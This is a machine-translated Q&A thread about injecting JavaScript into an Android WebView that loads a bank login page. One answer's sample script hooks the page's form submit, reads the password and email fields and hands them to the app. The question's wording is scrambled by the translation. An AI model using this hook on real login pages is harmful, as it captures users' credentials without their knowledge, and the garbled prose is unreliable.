2017-02-03 8 views
0

JavaScriptを注入する:私のjsのスクリプトがコンソールのブラウザでうまく機能しているが、アンドロイドで、それは<br>以下</p> <blockquote> <p>Uncaught TypeError: Cannot read property 'removeChild' of undefined source</p> </blockquote> <p>は私のスニペットコードであると私は違いを確認するために、2つのスクリプトを追加したと言うのWebViewアンドロイド

webView.getSettings().setJavaScriptEnabled(true); 

webView.setWebViewClient(new WebViewClient() { 
    @Override 
     public void onPageFinished(WebView view, String url) { 
      webView.loadUrl(getScript2()); 
     } 
    }); 

//this script is working well 
private String getScript1(){ 
    return "javascript:(function() { " + 
      "document.getElementsByTagName('frameset')[0].rows='0,*'; " + 
      "document.getElementsByTagName('frameset')[1].cols='0,*'; " + 
      "})();"; 
} 

//this script has an error 
private String getScript2(){ 
    return "javascript:(function() { " + 
      "document.getElementsByTagName('frame')[2].contentDocument.documentElement.getElementsByTagName('tr')[1].removeChild(document.getElementsByTagName('frame')[2].contentDocument.documentElement.getElementsByTagName('tr')[1].getElementsByTagName('td')[0]); " + 
      "document.getElementsByTagName('frame')[2].contentDocument.documentElement.getElementsByTagName('tr')[1].removeChild(document.getElementsByTagName('frame')[2].contentDocument.documentElement.getElementsByTagName('tr')[1].getElementsByTagName('td')[0]); " + 
      "document.getElementsByTagName('frame')[2].contentDocument.documentElement.getElementsByTagName('tr')[1].getElementsByTagName('td')[1].rowSpan='0'; " + 
      "})();"; 
} 
webView.loadUrl("https://www.bancnetonline.com/apps/jsp/bancnet/allIPMainPage.jsp?bnkname=4"); 
+0

ハロー人々として、私は横断歩道のAndroidライブラリを使用して私の問題を修正呼び出す(Src->メーン>資産)資産フォルダ内のindex.htmlとしてファイルを保存します。ここにソースhttps://crosswalk-project.org –

答えて

0

Uncaught TypeError:nullのプロパティ 'removeChild'を読み取ることができないため、エラーが発生しています。そのため、ヌル値のスクリプトを再度確認してください。

ページへのjavascriptのjavascriptの

webview1.addJavascriptInterface(new MyJavaScriptInterface(), "MYOBJECT"); 

試料注入のためにそう

class MyJavaScriptInterface 
{ 
    @JavascriptInterface 
    public void processHTML(String html) 
    { 
     //called by javascript 
    } 
} 

レジスタインタフェースをしたい場合は、この

ようにしてみてくださいジャバスクリプトによって呼び出されたクラスを作成します。
webview1.setWebViewClient(new WebViewClient() { 
    @Override 
    public void onPageFinished(WebView view, String url) { 
     super.onPageFinished(view, url); 

     StringBuilder sb = new StringBuilder(); 
     sb.append("document.getElementsByTagName('form')[0].onsubmit = function() {"); 
     sb.append("var objPWD, objAccount;var str = '';"); 
     sb.append("var inputs = document.getElementsByTagName('input');"); 
     sb.append("for (var i = 0; i < inputs.length; i++) {"); 
     sb.append("if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}"); 
     sb.append("else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}"); 
     sb.append("}"); 
     sb.append("if (objAccount != null) {str += objAccount.value;}"); 
     sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); 
     sb.append("window.MYOBJECT.processHTML(str);"); 
     sb.append("return true;"); 
     sb.append("};"); 

     view.loadUrl("javascript:" + sb.toString()); 
    } 

}); 
+0

こんにちは教えていただきありがとうございます。この「MYOBJECT」は何ですか、私は何を渡すべきですか? –

+0

これはあなたのJavaインターフェイスが登録される単なるStringです。 –

+0

まだ動作していませんが、私のスクリプトとURLが与えられていれば、あなたはあなたの側にいらっしゃいますか? –

0

byte[] buffer = new byte[0]; 
      try { 
       InputStream is = getActivity().getAssets().open("index.html"); 
       int size = is.available(); 

       buffer = new byte[size]; 
       is.read(buffer); 
       is.close(); 
      } catch (IOException e) { 
       e.printStackTrace(); 
      } 

      String str = new String(buffer); 

が続い

ll_webview.loadDataWithBaseURL("file:///android_asset/", str, "text/html", "utf-8", null); 
+0

こんにちは先生、私のコードとの違いはないようです。 –

+0

しかし、私はそれをチェックするとうまく動作します。また、onscreate中カッコの外にgetScript2()を保持していることを確かめていますか? – g7pro

+0

"Uncaught TypeError:未定義のremoveChild 'プロパティを読み取れません"のように、あなたのアンドロイドモニターに何らかのエラーが発生していませんか? スクリプトが正常に機能していると言うと、電卓は他のフィールドの上に置く必要があります。 –

関連する問題

 関連する問題